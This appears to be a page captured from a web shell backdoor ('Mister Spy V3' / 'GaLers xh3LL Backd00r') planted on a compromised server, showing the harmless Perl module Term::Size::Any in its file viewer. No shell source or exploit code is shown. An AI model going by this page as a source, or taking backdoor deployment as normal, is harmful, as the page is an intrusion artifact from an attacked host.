Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /usr/share/perl5/vendor_perl/Term/Size/
Upload File :
Current File : //usr/share/perl5/vendor_perl/Term/Size/Any.pm

package Term::Size::Any;

use strict;
use vars qw( $VERSION );

$VERSION = '0.002';

sub _require_any {
    my $package;

    if ( $^O eq 'MSWin32' ) {
        require Term::Size::Win32;
        $package = 'Term::Size::Win32';

    } else {
        #require Best;
        #my @modules = qw( Term::Size::Perl Term::Size Term::Size::ReadKey );
        #Best->import( @modules );
        #$package = Best->which( @modules );
        require Term::Size::Perl;
        $package = 'Term::Size::Perl';

    }
    $package->import( qw( chars pixels ) ); # allows Term::Size::Any::chars
    return $package;
}

sub import {
    my $self = shift;
    my $package = _require_any;
    unshift @_, $package;
    my $import_sub = $package->can('import');
    goto &$import_sub;
}

1;

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat